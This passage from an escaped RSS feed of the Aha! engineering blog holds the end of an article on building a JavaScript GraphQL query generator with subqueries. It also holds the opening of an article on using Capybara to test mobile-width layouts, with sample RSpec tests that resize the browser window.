&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      ${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; }${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; args&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; } {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Array&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;fields&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    }`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; query &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;features&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;query.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ assigneeId: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;12345&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can add subqueries to select information from child objects:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.subqueries &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  merge&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;subquery&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.subqueries.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(subquery);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;options&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {}) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;asSubquery&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; options;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; args &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (Object.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.filters).&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      args &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `(filters: {${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;processFilters&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;filters&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}})`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; subqueryString&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;} {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Array&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;fields&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        ${&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;subqueries&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; s&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;({ asSubquery: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; })).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      }`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (asSubquery) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; subqueryString;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; `{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;subqueryString&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      }`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now you can build arbitrarily complicated queries based on whatever state you have:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; query &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;features&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;query.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ assigneeId: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;12345&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (projectId) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  query.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ projectId });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (includeRequirements) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; requirementsQuery &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;requirements&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  requirementsQuery.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;([&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;id&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;position&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  query.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;merge&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(requirementsQuery);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;query.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From now on, any time you want to change a query based on information you have someplace else, it&apos;s as easy as calling a method.&lt;/p&gt;
&lt;h2&gt;What&apos;s next?&lt;/h2&gt;
&lt;p&gt;This query generator is simple and is still missing a lot, but the core idea is easy to extend to fit your API:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can add functionality for sorting, passing query arguments, pagination, etc.&lt;/li&gt;
&lt;li&gt;You can have it generate GraphQL fragments and variables instead of a single string.&lt;/li&gt;
&lt;li&gt;You can add another layer. For example, have your query framework generate Apollo documents instead of strings and you can get better editor integration and error messages.&lt;/li&gt;
&lt;li&gt;You can create a mutation builder, tracking changes you make to your JavaScript objects and generating mutations based on those changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We&apos;ve done all of those things, and found a lot of value in a flexible generator like this. Building a query generator ourselves also allowed us to integrate it more closely with other parts of our application framework. It&apos;s a nice simple base we could build off of easily.&lt;/p&gt;
&lt;p&gt;And once you have this base — an introspectable object that can generate the strings you need — your code no longer needs to worry about the actual queries. It&apos;s just responsible for the decision-making and the generator does the rest.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Aha! is happy, healthy, and hiring. Join us!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We are challenged to do great work and have fun doing it. If you want to build lovable software with this talented and growing team, &lt;a href=&quot;https://www.aha.io/company/careers/current-openings?category=engineering&quot;&gt;apply to an open role&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Using Capybara to test responsive code]]></title><description><![CDATA[As more users opt for mobile browsing, responsive design becomes more important — even for applications that are primarily used on a desktop…]]></description><link>https://www.aha.io/engineering/articles/using-capybara-to-test-responsive-code</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/using-capybara-to-test-responsive-code</guid><dc:creator><![CDATA[William Lawrence]]></dc:creator><pubDate>Thu, 10 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As more users opt for mobile browsing, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design&quot;&gt;responsive design&lt;/a&gt; becomes more important — even for applications that are primarily used on a desktop. Responsive design is a key consideration for Aha! Ideas because it&apos;s convenient to answer polls and submit ideas using mobile devices. Usually the application behavior between mobile and desktop are the same, just rearranged on the page. But what happens when application behavior is different between devices with different-sized screens? Automated tests are necessary to ensure these different screen behaviors perform as expected in their environments.&lt;/p&gt;
&lt;p&gt;Engineering at Aha! focuses on using and improving &lt;a href=&quot;https://github.com/teamcapybara/capybara&quot;&gt;the Capybara test framework&lt;/a&gt;. We have added many helpers and additional functionality to make working with Capybara easy. Testing at mobile widths is another chance to improve our testing tooling. Here is the incremental approach that we used to add mobile testing helpers.&lt;/p&gt;
&lt;h2&gt;First pass&lt;/h2&gt;
&lt;p&gt;Below, we have an example test.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;context &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;mobile user&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  scenario &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user logs in on mobile&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # These labels are specific to mobile widths&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(page).to have_content(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;First name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(page).to have_content(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Last name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This test will fail because we aren&apos;t resizing to mobile width, so our name labels won&apos;t appear. Let&apos;s fix that.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;context &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;mobile user&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # resize to mobile width&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  before { page.driver.browser.manage.window.resize_to(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;375&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;764&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  scenario &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user logs in on mobile&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # These labels are specific to mobile widths&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(page).to have_content(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;First name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    expect(page).to have_content(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Last name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is an acceptable first pass. Our page is indeed resized for mobile testing. However, it presents three problems:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It doesn&apos;t tell us why we are resizing. The test has that information but it would not be clear out of the test.&lt;/li&gt;
&lt;li&gt;This code isn&apos;t particularly reusable because it requires some insight into how Capybara works.&lt;/li&gt;
&lt;li&gt;The test window remains resized for all subsequent tests. This is a subtle problem that will lead to unexpected and intermittent test failures.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Using a helper&lt;/h2&gt;
&lt;p&gt;Let&apos;s see how we can fix those three problems. Below is a helper we can use to resize for mobile testing.&lt;/p&gt;
